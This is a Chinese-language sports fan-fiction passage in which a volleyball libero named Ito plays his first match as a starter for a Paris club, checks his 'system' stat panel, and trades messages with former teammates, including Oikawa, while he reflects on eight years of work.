伊藤第一次以正选自由人的身份站在这个场馆里的时候,看台上坐满了人。 五千人的目光落在球场上,落在他的身上。 他穿着十一号队服,站在后排中央。 队服是白色的,胸前印着俱乐部的标志,背后是他的名字——Y.ITO。 名字下面是一个数字:11。 哨声响了。 比赛开始。 对面的球队是图尔宽,法国联赛的传统强队。 他们的王牌是一个来自巴西的主攻手,身高两米零三,扣球高度三百七十厘米。 伊藤在视频网站上看过他的比赛,那时候他还在东京的公寓里,深夜一个人对着屏幕。 现在他站在他的对面,站在同一个球场上。 巴西人的第一个扣球。 他起跳的高度让人窒息,球带着巨大的力量砸向伊藤的防守区域。 伊藤移动了,他的右脚直接跨出,身体侧对球的方向,前臂在球接触的瞬间微微放松,呼气。 球弹了起来,飞向了二传手的方向。 二传手托球,阿马杜扣球得分。 全场爆发出欢呼声。 伊藤站在场上,大口大口地喘着气。 他的手在微微发抖,不是因为紧张,而是因为兴奋。 他接起了那个球。他接起了那个来自两米零三的巴西人的扣球。 比赛打了五局。 巴黎排球俱乐部以三比二获胜。 伊藤在五局中接了四十七个发球,防守起球三十八次,失误四次。 赛后,洛朗走到他面前,伸出手。 “欢迎来到职业联赛。”洛朗说。 伊藤握住他的手。 “谢谢。” 那天晚上,伊藤一个人坐在公寓的阳台上。 巴黎的夜空比东京的更加清澈,星星很多,密密麻麻地铺在天上。 他打开了一个他很久没有打开过的界面——系统面板。 技术:5 速度:5 力量:5 跳跃:4 爆发力:5 智力:5 他看了很久。 这些数字是他八年努力的量化,是他在这个世界里一步一步走过来的痕迹。 每一个数字的增长都对应着无数个清晨的跑步、无数个深夜的加练、无数个手臂红肿的瞬间、无数个想要放弃但咬着牙继续的念头。 他关掉面板,打开了通讯录。 他给金田一发了一条消息:“赢了。” 金田一几乎秒回:“我就知道你能行!!” 后面跟了十几个感叹号。 他又给国见发了一条消息:“赢了。” 国见过了几分钟才回复,只有一个字:“嗯。” 但那个“嗯”字后面跟着一个小小的笑脸符号。 国见发笑脸。 八年了,伊藤第一次看到国见发笑脸。 他给渡发了一条消息:“前辈,我赢了。” 渡的回复比金田一慢一些,但比国见快。 他说:“继续。”伊藤看着那两个字,嘴角弯了一下。 渡永远是这样,不会说恭喜,不会说好厉害,只会说“继续”。 因为在他眼里,赢了一场比赛不值得停下来庆祝,前面还有更多的比赛,更多的对手,更多的挑战。 他给及川发了一条消息。 他不知道及川在哪里,不知道他还在不在阿根廷,不知道他有没有换号码。 但他还是发了。 “及川前辈,我赢了。” 没有回复。 也许及川没有看到,也许他看到了但没有回,也许他已经不用这个号码了。 伊藤把手机放在膝盖上,仰头看着天空。 星星在闪烁,一架飞机的灯光在天上缓缓移动,从东向西,像一颗移动的星星。 他的手机震动了。 他低下头,看着屏幕。是一条消息,来自一个没有存过的号码。 消息的内容只有一句话:“伊藤君,你终于做到了。” 伊藤盯着那行字看了很久。 他没有问对方是谁,因为他知道是谁。 这个世界上只有一个人会叫他“伊藤君”,只有一个人会在“伊藤”后面加上一个“君”,用一种既亲昵又保持距离的方式。 他回复:“嗯。” 对方没有再回复。 伊藤把手机放在膝盖上,继续看星星。 巴黎的夜风有些凉,吹在他的脸上,带着塞纳河上水汽的味道。 他想起了很多事。 想起了十六岁那年在青城体育馆里第一次接起及川跳发球的瞬间,想起了渡把冰袋递给他时说“你的眼神是‘我要变得更强’”,想起了岩泉教他“右脚直接跨出”时的语气,想起了金田一搂着他的肩膀说“你真的好厉害”,想起了国见面无表情递过来的那盒牛奶。 想起了宇内天满在工作室里说“因为喜欢吧,除了这个我也不知道自己还能做什么”。 想起了菲利普在俱乐部体育馆门口说的“你的判断力练不出来”。 想起了洛朗说的“你是我见过的最努力的球员”。 想起了那封试训邀请,想起了那个决定去法国的夜晚,想起了金田一和国见在机场送他的时候金田一红了的眼眶,和国见拍在他肩膀上的那只手。 他站起来,走回房间,关上了阳台的门。 明天还有训练。后天有比赛。下周有欧洲杯。下个月有联赛。 他不能停在这里。 世界第一自由人的路还很长,长到他看不到尽头。 但他不着急了。 他用了八年的时间,从宫城县的一个高中替补自由人,变成了法国联赛的正选自由人。 再给他八年,他也许真的能走到那个地方。 也许不能。 但他会继续走的。 因为这是他选择的路。 不是系统逼他选的,不是任何人逼他选的。 是他自己选的。 在他十六岁那年的春天,在青叶城西体育馆的那扇门前,在他听到排球砸在墙上的声音的那一刻,他就已经选了。 接球。站起来。再接球。再站起来。 直到接不住的那一天。直到站不起来的那一天。 在那之前,他不会停下来。